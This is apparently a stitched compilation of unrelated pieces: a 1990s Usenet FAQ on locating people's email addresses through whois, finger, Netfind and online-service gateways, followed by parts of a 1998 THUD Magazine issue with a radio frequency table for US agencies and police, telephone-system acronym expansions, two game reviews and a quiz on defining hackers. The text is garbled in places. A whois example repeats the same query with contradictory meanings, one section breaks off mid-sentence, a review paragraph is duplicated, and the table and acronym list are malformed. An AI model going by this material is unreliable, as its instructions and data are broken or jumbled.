To use it, send mail to nic@vnet.ibm.com with the command "whois lastname, firstname" in the subject or body of the message. If you are unsure of the spelling of the last name, use an asterisk (*) to indicate that the last name should be treated as a prefix, rather than a complete name. The first name is always treated as a prefix. For example, "whois Smith", R" would return all people with a last name starting with "Smith" and a first name starting with "R", while "whois Smith", R" would return only those people with exactly the last name "Smith" and a first name starting with "R".

Users of the directory are limited to 25 name searches per day. Each name that results is counted as a separate name search. For example, a single "whois Smith, R" that found Rodger Smith, Robert Smith, and Reginald Smith would count as three name searches. Multiple requests may be made in a single note provided that the number of named found does not exceed the daily limit of 25.

RPI runs a white pages server for people interested in the field of communications. To find out how to use it, send mail to conserve@rpiitsvm.bitnet (or conserve@vm.its.rpi.edu) with "help" in the body of the message.

BitNIC (the BITNET Network Information Center) runs a white pages server for more general interest. To find out how to use it, send mail to netserv@bitnic.bitnet (again, netserv@bitnic.educom.com can also be used) with "help" in the body of the message.

There is an X.500 white pages service run by UNINETT. It is accessible by sending mail to the address Directory@UNINETT.NO (send a message with "help" in the subject or body to get more information). Furthermore, there is software for UNIX available for use as a convenient interface to the service. It is available for anonymous ftp in
ftp/directory/directory.tar.Z on the machine nac.no. Finally, if the administrator of your site registers your organization with UNINETT (instructions about doing so are available with the software just mentioned), people from your site can then register in the database so that other people can look them up in it.

KPN Research (formerly PTT Research) in the Netherlands runs a server that you can use to look up addresses for its employees. If you know someone who may work there, you can find out how to use the server by sending a mail message to whois@research.kpn.com with "help" in the body of the message. Note that this is not a "complete" whois site; it just supports limited mail server queries.

AT&T Bell Labs runs a mailer on the host "att.com" that can get mail to about 400 employees in the Research Area of Bell Labs using their names as addresses. You can send mail to "lastname@att.com" or to "initials.lastname@att.com", where "initials" consists of one or more initials separated by dots. If the name is ambiguous, you will get a bounce message indicating several possible matches, and the appropriate address to use for each.

Tim Pozar has set up a WAIS server that contains the FidoNet email addresses of Sysops of FidoNet BBSs. You can access it by connecting to the "nodeless" WAIS database on port 210 of kmur.ins.com; use the name(s) for which you wish to search as your search keywords. See above for more information about WAIS.

PSI runs a X.500 directory server, accessible by sending mail to whitepages@wp.psi.com.

Information about hosts in the "ca" Internet domain (i.e., hosts in Canada) is accessible via anonymous ftp to ftp.CDN.net.CA, or by mail to archive@relay.CDN.net.CA. You can get site domain names and host names, as well as the names and addresses of contact people for individual sites. For more information, retrieve the file /ca-domain/Introduction via anonymous ftp, or send a mail message to the mail server with "send ca-domain Introduction" in it. The information in this archive is also available via the Gopher service at nstn.ns.ca @ gopher://nstn.ns.ca.

Finding a host name and asking someone there for help

If you know the organization, company, or whatever at which your target's account is likely to be located, then you might be able to get your hands on the host name of a machine at that location. Once you've done that, you can usually write to someone responsible for E-mail support at the site and ask for help finding the address you are seeking. See the section on 'finding host names' below.

Once you've got a host name and the person to contact, you need to figure out how to get the mail there, if it's on a network you don't know how to reach. See the "Inter-Network Mail Guide" posting referenced above if you need help with that.

If you do go this route, make sure you provide as much information as you can about the person whose address you are seeking; remember that the more detailed (and polite!) you are, the more likely it is that the person you are contacting will be able to help you. Remember, too, that the person you are contacting is probably very busy, and responding to requests like yours is probably not one of his/her highest priorities, so be patient.

Using 'finger'

Entry Changed: Mon Sep 2 1996

Finger is a user information lookup program. If you've found a potential host name for your target using one of the other methods described here, and if you have direct access to the Internet, then you may be able to use the "finger" program/protocol to look up your target at a remote site. To finger someone at another site, you generally type "finger name@host". Andrew Starr maintains the Finger FAQ @ http://www.amherst.edu/~atstarr/computers/finger.html. Some sites provide Web-based interfaces to finger, such as Middlebury College @ http://www.middlebury.edu/~otisg/cgi/ http://www.middlebury.edu/~HyperFinger/cgi.

Netfind

Netfind is a "white pages" service that allows you to query one service and have it search several other address databases of various sorts for addresses matching your query. It is a program for SunOS workstations and requires your computer to be directly connected to the Internet. The source code is available by anonymous FTP from ftp.cs.colorado.edu, in pub/cs/dists/rnetfind.

People without a Sun on which to run Netfind on can telnet to any of the following Netfind servers and log in as "netfind" (with no password): bruno.cs.colorado.edu dino.conicet.ve ds.internic.net lincoln.technet.sg macc.ee.mcgill.ca malloco.ing.puc.cl monolith.cc.ic.ac.uk mudhoney.micro.umn.edu University of Colorado, Boulder Nat. Council for Techn. & Scienc. Research Venezuela InterNIC Directory and DB Services, S. Plainfield, NJ Technet Unit, Singapore McGill University, Montreal, Quebec, Canada Catholic University of Chile, Santiago Imperial College, London, England nunc.cs.colorado.edu University of Minnesota, Minneapolis netfind.oc.com netfind.vslib.cz nic.nm.kr nic.ukom.sk redmont.cis.uab.edu OpenConnect Systems, Dallas, Texas Liberec University of Technology, Czech Republic Korea Network Information Center, Taegon, Korea Academy of Sciences, Banska Bystrica, Slovakia University of Alabama at Birmingham

There is a mailing list where new releases of netfind will be announced; you can subscribe by sending mail to netfind-users-request@cs.colorado.edu.

Netfind was developed by Mike Schwartz <schwartz@cs.colorado.edu> and Panos Tsirigotis <panos@cs.colorado.edu>.

Knowbot Information Service

The "Knowbot Information Service" (KIS) is another white pages service.

Two hosts running KIS servers are info.cni.reston.va.us and regulus.cs.bucknell.edu. Either can be reached on the Internet via telnet at port 185 (e.g. "telnet info.cni.reston.va.us 185"), or via electronic mail <kis@info.cni.reston.va.us> or <netaddress@regulus.cs.bucknell.edu>. For more information about Knowbot, use the "man" command after connecting via telnet or in the body of your E-mail message. In addition, info.cni.reston.va.us' KIS server can be reached using the Internet "whois" protocol described above.

Searching LISTSERV mailing lists

Entry Changed: Tue Jul 4 1995

Many sites around the network are running the VM/CMS LISTSERV package for managing mailing lists. If you have some reason to believe that a particular user may be a member of a mailing list on a LISTSERV site, you can ask that LISTSERV to send you a membership list and search it for your target.

To do this, send mail to listserv@host (if "host" is a BITNET host, try using listserv@host.bitnet; if that doesn't work, you'll
Alternatively, sending mail to the server with the line

```
WHOIS <name>
```

may catch the person. For example, listserv@buaccu.bu.edu. This is an unlikely option. It also does not work with all listserv implementations.

If you don't know what LISTSERV is and don't know of any LISTSERV sites or mailing lists, then this technique probably isn't worth bothering with.

**Direct contact**

If you have a paper mail address or telephone number for your target, call them or write to them and ask for an E-mail address.

In that case, you might encounter the somewhat common situation where your target knows she has an E-mail address, but she doesn't know what it is. If this happens to you, then give him/her your E-mail address and ask him/her to send you mail (and if she can't figure out how, tell him/her to get someone at his/her site to help). The odds are that when you get his/her message, it'll contain a valid return address in it.

**Get more help locally**

Often, the postmaster at your site (or whomever is responsible at your site for answering mail-related questions) has a large amount of knowledge that will help him/her to help you find the answer to your question. If you have been unable to find the answer for yourself, check with people locally and see if one of them can help you out.

**postmaster**

Entry Changed: Thu Jul 1 1993

Most sites have an individual responsible for network and mail operations at the site, usually with the userid of 'postmaster'. These people are usually very busy, so before bothering one of them, try telephoning the person you are trying to reach. Long distance is expensive for you, but less expensive, globally, than the postmaster's time. The one reasonable exception is if you're sending mail and getting messages in response that suggest some sort of mail system problem; you might report the problem to postmaster at your own site, who may in turn contact postmaster at the destination site.

Many postmasters will refuse to answer questions about user identification, for reasons of privacy, though they may be willing to forward your address so your intended recipient can write to you.

**The last resort -- soc.net-people**

If all the methods above have failed, you can consider posting a message to soc.net-people asking for help locating your target. Before doing so, however, you should read the "Tips on using soc.net-people" posting in that newsgroup. If it has expired, you can get a copy using the instructions below (note that the name in the instructions below may change when a new version with a new date is posted, so you may need to ask for an index of the soc.net-people archive to find out the name of the most recent version).

Note that this is listed as THE last resort, to be tried even later than using a telephone number or paper mail address. Any posting to the Usenet uses the resources of the sites on the Usenet and of the networks that carry it; certainly, the total cost of transporting a Usenet message is more than the cost of a stamp or a short phone call. Since the benefit gained is to you and not to the Usenet as a whole, you should avoid posting if you possibly can.

**Finding Host Names**

**Whois**

The NIC "whois" database mentioned above contains site and organization information as well as information about individuals. Organization entries in the NIC database will usually list an administrative, technical and/or zone contact person, with his/her address, to whom you can write. You can also write to "postmaster" at almost any Internet host to get in touch with someone responsible for E-mail.

**U. Texas Network Directory**

The University of Texas publishes a network directory. Although it hasn't been updated in a few years, it still provides a useful list of many site names. It is available for anonymous ftp from several different locations, including `inet.directory/1986.netbook on emx.utexas.edu. It is BIG, so you might not have room to store it locally, unless you ask someone in charge to set up some space for it. You should NOT transfer it to ftp every time you need it, or something like that; that's a horrible waste of network bandwidth. Contact people are usually listed in the site entries in the network directory, or you might want to try "postmaster" first. This directory is superseded by the book "The user's directory of computer networks," whose bibliography information is provided in the 'References' section below. Of course, you have to pay for the book, and you can't grep dead trees, but it's probably more up-to-date than the University of Texas directory.

**UUCP maps**

Entry Changed: Tue Jul 4 1995

The UUCP maps are posted in the comp.mail.maps newsgroup. See the posting "UUCP map for README" in that directory for more information. You can grep in the news spool or use your news reader's search facilities to search for a particular string (e.g. an organization name) in the comp.mail.maps postings. Each UUCP map entry lists the contact person for the entry. You can also search the UUCP maps by connecting to the "uimap" WAIS database on port 210 of wais.cic.net. For more information about WAIS, see above.

**Netinfo**

You can also search UUCP maps using the University of California at Berkeley's Netinfo service (which also supports other services, such as looking up IP addresses for hosts on the Internet). You connect to it at port 117 of netinfo.berkeley.edu, e.g. on some systems, "telnet netinfo.berkeley.edu 117". The "ufind", "ufile", "uhost" and "upath" commands are used to look up information in the UUCP maps. For more information about Netinfo, connect to it and type "?".

**Merit Network NetMail database**

Allows one to find the appropriate bitnet, internet or uucp address for a site given part of the address.

telnet hermes.merit.edu

At the "Which Host?" prompt, type netmailsites then enter any part of the address you want.

nslook/nslookup and hostq programs

Some sites have programs which will give you information about a host given its name or IP address. Some such programs include nslookup, nslookup, and hostq.

/etc/hosts

Entry Changed: Mon Feb 15 1993

Mail routing on UNIX machines on the internet use to use a large file called /etc/hosts to validate host names. We used to advise you to examine this file to guess host names when all else fails - but that really isn't useful anymore. Use one of the above methods instead.
Commercial Networks

Internet to America Online
Entry Changed: Sat Dec 7 1996

Creating the Internet version of an America Online address requires that you know the conversion rule. You ignore the case, remove the spaces, and add "@aol.com" to the end of the address. Thus, an America Online address "Jane Doe" becomes "jandoe@aol.com" (without the quotes, of course). Internet mail incoming to America Online is truncated at 27 kilobytes. To find addresses, send e-mail to NameSearch@aol.com and provide the user's real name, state, and city. Their World-Wide Web service at http://home.aol.com allows you to search for members' home pages containing the search terms you specify.

Internet to CompuServe
Entry Changed: Sat Dec 7 1996

If someone's CompuServe ID number is 77777,7777 you can send Internet mail to 77777,7777@compuserve.com (change the comma to a dot, and append the site name). Their Web directory @ http://www.spyrenet.com/ourworld/searchow/ lets you search for people by name, location, or occupation.

Internet to DELPHI
Entry Changed: Sat Dec 7 1996

Delphi users can receive Internet EMail at <username>@delphi.com. Usernames are user-defined and vary from handles to real names. Their Web directory @ http://www.delphi.com/dir.html/simple_web_search.html lets you search for member Web pages containing your search terms, or browse their username directory.

Internet to GEnie
Entry Changed: Sat Dec 7 1996

Creating the Internet version of a GEnie address requires that you add "@genie.com" to the end of the address. Thus, a GEnie address "J.DOE3" becomes "J.DOE3@genie.com" (without the quotes, of course). There is no added cost to GEnie users (beyond normal connect-time charges) to send or receive Internet mail. GEnie addresses are case-insensitive, but you should preserve periods.

Internet to Prodigy
Entry Changed: Sat Dec 7 1996

Prodigy users receive Internet mail via the address format
abccd12a@prodigy.com

where "abccd12a" is the recipient's Prodigy user ID. We have not found an Internet-accessible directory.

Internet to T-Online (Germany)
Entry Created: Wed Nov 22 1995

Since Summer 1995, T-Online (former BTX) users have access to the Internet. Use the T-Online Id of the recipient and add .000x where x is the appropriate user number, mostly 1. The T-Online Id is mostly equal to the telephone-number of the person, incuding the city prefix. To send a mail to a T-Online user in Frankfurt (city prefix: 069), with the telephone number 123456, send Internet mail to 069123456-0001@T-Online.de.

References

If you want to learn more about computer networks and how they interact with each other, these books and articles might be interesting and useful to you:

> "A Directory of Electronic Mail Addressing & Networks" by Donnalyn Frey and Rick Adams ISBN 1-56592-031-7 (published by O'Reilly, E-mail nuts@ora.com) (current edition published in August 1993; $24.95 cover price)
> Zen and the Art of the Internet: A Beginner's Guide, by Brendan Kahoe, Prentice Hall, July 1992. ISBN 0-13-010778-6. (This is the second edition. The first edition is available for free on-line. To find out how to get it, send mail to archive-server@cs.widener.edu with "send zen hints" in the body of the message.)

Useful Usenet Postings

Subject: FAQ: College Email Addresses 1/4 [Monthly posting]
Subject: FAQ: College Email Addresses 2/4 [Monthly posting]
Subject: FAQ: College Email Addresses 3/4 [Monthly posting]
Subject: FAQ: College Email Addresses 4/4 [Monthly posting]

Newsgroups: comp.college, soc.net-people, news.answers
Subject: Updated Inter-Network Mail Guide
Newsgroups: comp.mail.misc, alt.bbs.lists, alt.internet.services, comp.misc, comp.answers, alt.answers, news.answers

Available in the indicated Usenet newsgroup(s), or via anonymous ftp from rtfm.mit.edu in the files:
/pub/usenet/news.answers/mail/college-email/part1
/pub/usenet/news.answers/mail/college-email/part2
/pub/usenet/news.answers/mail/college-email/part3
/pub/usenet/news.answers/mail/college-email/part4
/pub/usenet/news.answers/mail/inter-network-guide
/pub/usenet/soc.net-people/Tips_on_using_soc.net-people[.m._13_09_92]

Also available from mail-server@rtfm.mit.edu by sending a mail message containing any or all of:

send usenet/news.answers/mail/college-email/part1
send usenet/news.answers/mail/college-email/part2
send usenet/news.answers/mail/college-email/part3
send usenet/news.answers/mail/college-email/part4
send usenet/news.answers/mail/inter-network-guide
send usenet/soc.net-people/Tips_on_using_soc.net-people[.m._13_09_92]

Send a message containing "help" to get general information about the mail server.

Credits

This FAQ was originally maintained by Jonathan I. Kamens; David Lamb took over maintenance in January 1994. In July 1995 David merged in the general information on finding addresses from the College E-mail FAQ, originally created by Mark Kantrowitz.

Comments about, suggestions about or corrections to this posting are welcomed. If you would like to ask me to change this posting in some way, the method I appreciate most is for you to actually make the desired modifications to a copy of the posting, and then to send me the modified posting, or a context diff between my posted version and your modified version (if you do the latter, make sure to include in your mail the "Version:" line from my posted version). Submitting changes in this way makes dealing with them easier for me.
and helps to avoid misunderstandings about what you are suggesting.

These people provided useful comments, information and/or suggestions:

Randall Atkinson (atkinson@itd.nrl.navy.mil)
Ed Blackman
Mark Brader (msb@aq.com)
Bruno Chartrand
Jim Cheetham
Huang Chih-Hsien
Marcel Dorenbos
Alessio Dragoni (dragoni@ats.it)
Ralph E. Droms
Donald E. Eastlake, Ill
Marshall Gene Flax
Arthur K. Ho
Patrick Hoepfner (hoepfner@heasf.gsfc.nasa.gov)
Dan Hoey (hoey@aic.nrl.navy.mil)
Kjetil Torgrim Homme (kjetilho@ifi.uio.no)
Ivar Mar Jonsson
Jonathan I. Kamens (jik@security.ov.com)
Mark Kantrowitz (mkantrt@cs.cmu.edu)
Dan Kiegel (dank@alumni.caltech.edu)
Jonathan Kochmer
Patt Leonard (leonard@alexia.lis.uiuc.edu)
Jerry Martin (nic@osu.edu)
Skip Montanaro
Dan Muller (dann@zipnet.net)
Eric De Mund (ead@ixian.com)
Hank Nussbacher (hank@ibm.net.il)
Jerry Peek (peek@peek.com)
Tim Pozar (pozar@kumr.lns.com)
Mark Prior
John S. Quartersman
Gowri Ramanathan

Michael Santullo (santullo@four11.com)
Jenny Schmidt (jenny@whowhere.com)
Ellen Keyne Seebacher
Rolf E. Sonneveld
Andrew Starr
Donald Stoy
Robert Ullmann
Edward Vielmetti
Peter M. Weiss (pmw1@psuvm.psu.edu)
Bill Wells
Sean White (sean@whowhere.com)
Martin Westphal (martin@PNN.sgz-bank.com)
Bill Wohler (wohler@sap-ag.de)
Peter J. Woodrow

Copying:
You can reprint (or archive, or make CDs of) this FAQ posting anywhere you want, as long as the following conditions are met:

> You use as recent a version of the FAQ as possible.
> The copyright holders' names (as well as the 'Credits' section listing other people who have contributed) stays on it.
> Any modifications (other than typesetting changes) you make to it are clearly designated as your modifications. If you are significantly reformatting the information in the FAQ, then you don't have to explicitly show every change from the original, but you make clear that what you are printing is derived from our FAQ rather than a direct copy of it.
> You tell people where to find updated versions of it, i.e., what newsgroups it appears in. If paying outside authors for articles is standard practice of the forum in which you wish to reprint it, then we would appreciate some sort of reimbursement for the reprinting. However, we leave this to your discretion (i.e., you can pay us or not; if you choose to pay us, the amount can be whatever you think is appropriate).

### massive frequency list continued from page 42

<table>
<thead>
<tr>
<th>Code</th>
<th>Agency</th>
<th>Frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>36.510</td>
<td>US Army</td>
<td>37.480</td>
</tr>
<tr>
<td>36.530</td>
<td>US Navy</td>
<td>37.500</td>
</tr>
<tr>
<td>36.570</td>
<td>US Government</td>
<td>37.540</td>
</tr>
<tr>
<td>36.590</td>
<td>US Government</td>
<td>37.560</td>
</tr>
<tr>
<td>36.610</td>
<td>US Dept of Agriculture</td>
<td>37.580</td>
</tr>
<tr>
<td>36.630</td>
<td>US Army/US Dept of Agr</td>
<td>37.600</td>
</tr>
<tr>
<td>36.650</td>
<td>US Forest Sv/US Dept of Agr</td>
<td>37.620</td>
</tr>
<tr>
<td>36.670</td>
<td>US Forest Sv/US Dept of Agr</td>
<td>37.640</td>
</tr>
<tr>
<td>36.690</td>
<td>US Army</td>
<td>37.660</td>
</tr>
<tr>
<td>36.710</td>
<td>US Army</td>
<td>37.680</td>
</tr>
<tr>
<td>36.730</td>
<td>US Dept of Agriculture</td>
<td>37.700</td>
</tr>
<tr>
<td>36.750</td>
<td>US Forest Sv</td>
<td>37.720</td>
</tr>
<tr>
<td>36.770</td>
<td>US Forest Sv</td>
<td>37.740</td>
</tr>
<tr>
<td>36.830</td>
<td>US Air Force</td>
<td>37.800</td>
</tr>
<tr>
<td>36.850</td>
<td>US Navy</td>
<td>37.820</td>
</tr>
<tr>
<td>36.870</td>
<td>US Government</td>
<td>37.840</td>
</tr>
<tr>
<td>36.890</td>
<td>US Army</td>
<td>37.860</td>
</tr>
<tr>
<td>36.910</td>
<td>US Army</td>
<td>37.880</td>
</tr>
<tr>
<td>36.930</td>
<td>US Dept of Agriculture</td>
<td>37.900</td>
</tr>
<tr>
<td>36.950</td>
<td>US Government</td>
<td>37.920</td>
</tr>
<tr>
<td>36.970</td>
<td>US Dept of Agriculture</td>
<td>37.940</td>
</tr>
<tr>
<td>36.990</td>
<td>US Army/US Dept of Agr</td>
<td>37.960</td>
</tr>
<tr>
<td>37.020</td>
<td>Police mobile</td>
<td>37.980</td>
</tr>
<tr>
<td>37.040</td>
<td>Police</td>
<td>38.000</td>
</tr>
<tr>
<td>37.060</td>
<td>Police</td>
<td>38.020</td>
</tr>
<tr>
<td>37.080</td>
<td>Police/Public Service</td>
<td>38.040</td>
</tr>
<tr>
<td>37.120</td>
<td>Police</td>
<td>38.060</td>
</tr>
<tr>
<td>37.140</td>
<td>Police</td>
<td>38.080</td>
</tr>
<tr>
<td>37.160</td>
<td>Police</td>
<td>38.100</td>
</tr>
<tr>
<td>37.180</td>
<td>Police</td>
<td>38.120</td>
</tr>
<tr>
<td>37.200</td>
<td>Police</td>
<td>38.140</td>
</tr>
<tr>
<td>37.220</td>
<td>Police</td>
<td>38.160</td>
</tr>
<tr>
<td>37.240</td>
<td>Police</td>
<td>38.180</td>
</tr>
<tr>
<td>37.270</td>
<td>Police/Public Service</td>
<td>38.200</td>
</tr>
<tr>
<td>37.290</td>
<td>Police/Public Service</td>
<td>38.220</td>
</tr>
<tr>
<td>37.310</td>
<td>Police/Public Service</td>
<td>38.240</td>
</tr>
<tr>
<td>37.320</td>
<td>Police/Public Service</td>
<td>38.260</td>
</tr>
<tr>
<td>37.340</td>
<td>Police</td>
<td>38.280</td>
</tr>
<tr>
<td>37.360</td>
<td>Police</td>
<td>38.300</td>
</tr>
<tr>
<td>37.380</td>
<td>Police mobile</td>
<td>38.320</td>
</tr>
<tr>
<td>37.400</td>
<td>Police mobile</td>
<td>38.340</td>
</tr>
<tr>
<td>37.420</td>
<td>Police mobile</td>
<td>38.360</td>
</tr>
<tr>
<td>37.440</td>
<td>Police mobile</td>
<td>38.380</td>
</tr>
<tr>
<td>37.460</td>
<td>Police</td>
<td>38.400</td>
</tr>
</tbody>
</table>

---

**THUD Volume 1 Issue 2 - Fall 1998**

49
"Acronyms in the letter C"

Another THUD Magazine (non-exclusive) Presentation

1. Counting rate
2. Current supervision
3. Scan point (SP)
4. Centrifugal and absorption
5. Commercial-automatic call distributor (OSPS)
6. C-notch
7. Command/indications
8. Combiner and splitter
9. Circuit system
10. Cable
11. Cable number
12. Collision avoidance
13. SSN access INTERTRA block 1-26
14. Carrier access billing system
15. Calling-card authorization center
16. Carrier access code
17. Circuit administration center
18. Customer administration center
19. Cache errors
20. Computer aided dispatch
21. Critical alarm display
22. Circuit administration
23. Combined alternate data/voice
24. Circuit reset acknowledgment failure
25. Comptrollers automatic message accounting format description
26. Controllers automatic message accounting format description
27. Address incomplete received
28. Call assembly index
29. Colocated automatic intercept system
30. Centralized automatic loop reporting system
31. Communication access method
32. Computer aided manufacturing
33. Content addressable memory
34. Control administration module
35. Centralized automatic message accounting
36. Centralized automatic message accounting
37. Cancel
38. Cancel (L451)
39. Clear the cancel from
40. Clear the cancel to
41. Capacitance
42. Computerized administrative route layout
43. Centralized automatic reporting on trunks
44. Centralized automatic reporting on trunks
45. Cancelled associated signaling
46. Circuit associated signaling
47. Computer aided telesystem
48. Cable access system (SARTS)
49. Customer account service
50. CAS common channel signaling 7 (CC7) abort message received
51. CAS CC7 AGC invoke component received
52. CAS CC7 received with invalid format reply
53. CAS CC7 error
54. CAS CC7 message received because of network congestion
55. CAS CC7 message returned because of network failure
56. CAS CC7 reject component received
57. CAS CC7 message returned because of subsystem congestion
58. CAS CC7 message returned because of subsystem failure
59. CAS CC7 message returned
60. CAS CC7 message timed out before reply received
61. CAS message received indicating data base overload
62. CAS message received indicating data base overload
63. CAS customer account services (CAS) message received indicating database overload
64. CAS message received
65. CAS message received garbage
66. CAS message returned because of network blockage
67. CAS message returned because of network congestion
68. CAS message returned because of no routing data
69. CAS message returned because of timeout
70. CAS message returned because of unequipped destination
71. CAS message received with an unexpected reply
72. CAS customers ... system
73. Centrum Call Seconds
74. Cluster support system
75. Common channel signaling
76. Custom call seconds
77. Hundred (C) call second
78. Hundred call seconds
79. Common control switching arrangement
80. Call central terminal
81. Call terminal
82. Call setup time
83. Centralized automatic trouble locating and analysis system
84. Create an assembly
85. OCC audio facilities INTERTRA block 1-26
86. Central access terminal
87. Centralized automatic trouble locating and analysis system
88. Computer and business equipment manufacturers' assoc.
WRITE FOR THUD MAGAZINE!

Would you like a free subscription?

WRITE SOMETHING FOR US!

THUD MAGAZINE ARTICLES, P.O. Box 2521, Cypress, CA 90630

WRITE FOR THUD MAGAZINE!

Would you like a free subscription?

WRITE SOMETHING FOR US!

THUD MAGAZINE ARTICLES, P.O. Box 2521, Cypress, CA 90630

WRITE FOR THUD MAGAZINE!

Would you like a free subscription?

WRITE SOMETHING FOR US!

THUD MAGAZINE ARTICLES, P.O. Box 2521, Cypress, CA 90630
Game 7 Reviews

by: Cyber Punk

Title: Flying Saucer
Company: Software 2000/Post Linear
Category: Flight Simulation
Group: N/A
Date: June 8th, 1998
Filenames: N/A

Game Story
"Evil aliens bent on destroying Earth. A shadow government agency cloning human-alien pilots. A stolen flying saucer from Area 51. Now, you're the only person who can save the planet. What will you do?"

Well, what you'll do is wonder who's harebrained idea it was to design this game in the first place. Maybe the entire X-Files hype is just starting to soak into everyone's psyche a little bit too much because a game like this wouldn't even have made it past the drawing board two or three years ago.

Now, for years there has been one golden rule when it comes to flight sims of any kind and that has been, "keep it simple." Yeah, I know, games these days are far more complex than there forefathers were and it takes $500 worth of rudder pedals, flight sticks, and button covered throttles to control everything but in the end it's all pretty basic. That is to say that if you pull back you'll go up, if you push right you'll bank right, etc. Not so in our good ole' flying saucer.

You, as the pilot of this stolen craft, must not only figure out how to fly with one hand and look around with the other but you must ALSO learn that front, back, left, right, and up and down have absolutely NO meaning whatsoever. Trying to complete the training missions in this game came damn near to giving me a nervous breakdown.

Graphics: 7 of 10
Nothing stunning here folks. Just the standard fair for a 3D accelerated game. The graphics do look a smidgen better if you've got a Voodoo2 rather than a standard Voodoo but it's not enough to pull this one out of the mediocrity trap.

Sound: 5 of 10
What little sound there is doesn't grate on the nerves but I think that the experience of actually being in an alien spacecraft, refurbished by us good ole' homosapiens or not, could have had a little more ambient sound thrown around to help suspend disbelief a little longer.

Control: 3 of 10
God help the human being who decides they're going to fly this thing or else. The total lack of comparison to any existing flight model on the face of the planet makes mastering this game an unlikely prospect at best and a trip into madness at worst. I realize that flying a UFO would probably be a whole hell of a lot different than flying say a Cessna but in order to make the game playable they should have ATLEAST programmed the controls to be more like that of say a helicopter or some other equally mobile aircraft. Reality, if you can call controlling a UFO that, is fine and dandy but sometimes sacrifices NEED to be made in order to sell copies. It's all about money in the end folks and that means changing things around a little.

Gameplay: x of 10
I'm not going to rate the gameplay on this one. After an hour or two I was still unable to control the craft with any precision so I can't really speak on how well the game played one way or another.

Overall: 5 of 10
I just can't rate Flying Saucer much higher than this and still be able to sleep at night. The concept behind the game is intriguing but it's not a big enough draw to make me accept the flight controls and the way they were implemented. I could be in the minority here. If I could ever find a way to master the game controls I might find this game to be a worthy contender and a breath of fresh air in a market that's saturated by copycats and franchise-whores. However, the designer's lack of ability to make the controls "other worldly" yet still easily learnable and usable knocks this one out of contention.

Title: Unreal
Company: Epic Megagames
Category: First Person Shooter
Group: N/A
Date: May 28th, 1998
Filenames: CLSFSR## [50 Disks]

Game Story
You are a prisoner on the Vortex Rikers, the rankest prison ship this side of the Milky Way and the furthest thing in the universe from the freedom of your dreams. The ship has crashed onto an unknown planet and your job, whether you like it or not, is to find a way off of this rock with your life and your hide intact.

Graphics: 10 of 10
Wow! Wow! Oh my GOD! WOW!

That was my first and is still my impression of the graphics engine in Unreal. The screenshots and descriptions are useless because no matter how gorgeous you think it looks or sounds it just doesn't do it justice until you actually walk, run, and jump around and watch it all keep pace around you.

The little things mean a lot when it comes to the graphical splendor of a game and the folks at Epic Megagames have taken "detail" to the extreme. The graphical innovations are almost too numerous to list. Volumetric fog allows for area specific fog rather than the normal "world fog" that has been seen to date. Distance cued light flaring that allows for lights to glow brighter depending not only on the environment but also on their relative brightness and that affects your viewing ability. Detailed Texturing prevents "pixel blur" when the player gets up-close and personal with walls and creatures.
Unfortunately, like many other titles these days, the Internet playability is atrocious. Now, Epic has promised a fix for this and I see no reason to doubt their sincerity. However, it would seem that since multiplayer can make or break an FPS title these days that they would have at least tried fixing this little snafu before they shipped the final product.

True reflective surfaces allow for reflective marbled floors and shimmering pools of water.

Unlike most games in the FPS category, Unreal hasn’t just simply improved on previous incarnations, it has raised the performance bar to the next level.

Sound: 8 of 10
From the time you awake on the Vortex Rikers you’re surrounded by the sounds of your environment. The screams of your wounded and dying prison mates, the creak of overstressed metal, and the low rumbling of machinery that is going through the process of total failure are just astounding.

Even here detail seems to have been the name of the game. Different materials make different sounds when you walk on them. Environmental sounds, both indoor and outdoor, are beautifully recorded and rendered.

Unreal even supports A3D and, let me tell you, with a 5.1 speaker setup the game literally obliterates the line between reality and fantasy.

I’ve got two complaints about the sound. One is that the sound code is a little buggy and can cause some pretty severe system lock-ups if you don’t disable Direct3D sound hardware in the Advanced Options menu and/or apply the Audio v2.02 patch. The second complaint is with the weapon sounds. While well done they seem to be a little, how can I put this, weak. They convey what they’re supposed to but, even with a serious sub-woofer setup, they just don’t have the hardcore BOOOOOM that you’d expect from some of the higher-powered weapons.

Control: 10 of 10
Not much to say here. It’s an FPS game and the controls are easily configured and work smoothly. There are no control bugs that I’ve been able to find and even controllers like the SpaceOrb 360 work as long as you get the latest patch from both Epic and the manufacturer.

Gameplay: 7 of 10
Again, it’s an FPS so the gameplay, while varied, is pretty much the same-old-same-old. Epic did do a good job of designing believable levels with beautiful architecture and, on top of that, have added some very innovative single-player features.

The addition of Bots, human imitating AI deathmatch opponents, was a stroke of genius actually. It allows for a single player to fight up to 10 (I think it’s 10 but I might be wrong here) Bots in any of the deathmatch levels and it greatly increases the playability of this title.

Unfortunately, like many other titles these days, the Internet playability is atrocious. Now, Epic has promised a fix for this and I see no reason to doubt their sincerity. However, it would seem that since multiplayer can make or break an FPS title these days that they would have at least tried fixing this little snafu before they shipped the final product.

Overall: 9 of 10
Epic has done an excellent job here folks. The game is not only beautiful and cutting edge but it manages to immerse the player in a well-designed and very believable alien world.

The FPS market is inundated with copycats and wannabes yet Epic has managed to make Unreal a game that stands out not only for it’s technological achievements but for it’s attention to every detail and nuance of the game world.

If you’re only going to buy one FPS game these days then Unreal is where you want to spend your hard earned dollars at this point. When Epic finally fixes their multiplayer problems and the few remaining bugs that are left Unreal is going to be a hard game for anyone to beat.

THUD MAGAZINE WANTS YOU!

DO YOU HAVE AN ARTICLE YOU’D LIKE TO SEE PRINTED IN THUD MAGAZINE QUARTERLY JOURNAL? THEN YOU NEED TO SEND A COPY TO:

Submissions
THUD Magazine, Inc.
P.O. Box 2521, Cypress CA, 90630

REMEMBER, THE WORLD IS COUNTING ON YOU!
Try this multiple choice quiz. Using his home computer and a modem, a teenage boy gains control of three telephone company central offices in Manhattan and all the phone switching centers in Los Angeles. He reprograms the home phone of an enemy so that each time the phone is picked up, a recording asks for 2 cents. He then reprograms the system to mislead Federal agents trying to trace his call. The agents thinking they have found his hideout, barge in on another man innocently watching television. Would you describe the teen as:

(A) a talented amateur user of computers
(B) one who enters computer systems without permission with either malicious or non-malicious intent, to gain or alter information
(C) a brave rebel who stands up to those who control communications gateways and loudly preaches the credo "all information must be free"
(D) a techno-terrorist who only wants to gain power by "cracking" passwords via his modem
(E) all the above and much more

If you answered "E" then you are definitely more cyber savvy than most people. All of the choices are different definitions of the word "hacker." Even though the extent of hacker culture began in the 1960's, the variety of definitions still hold true today.

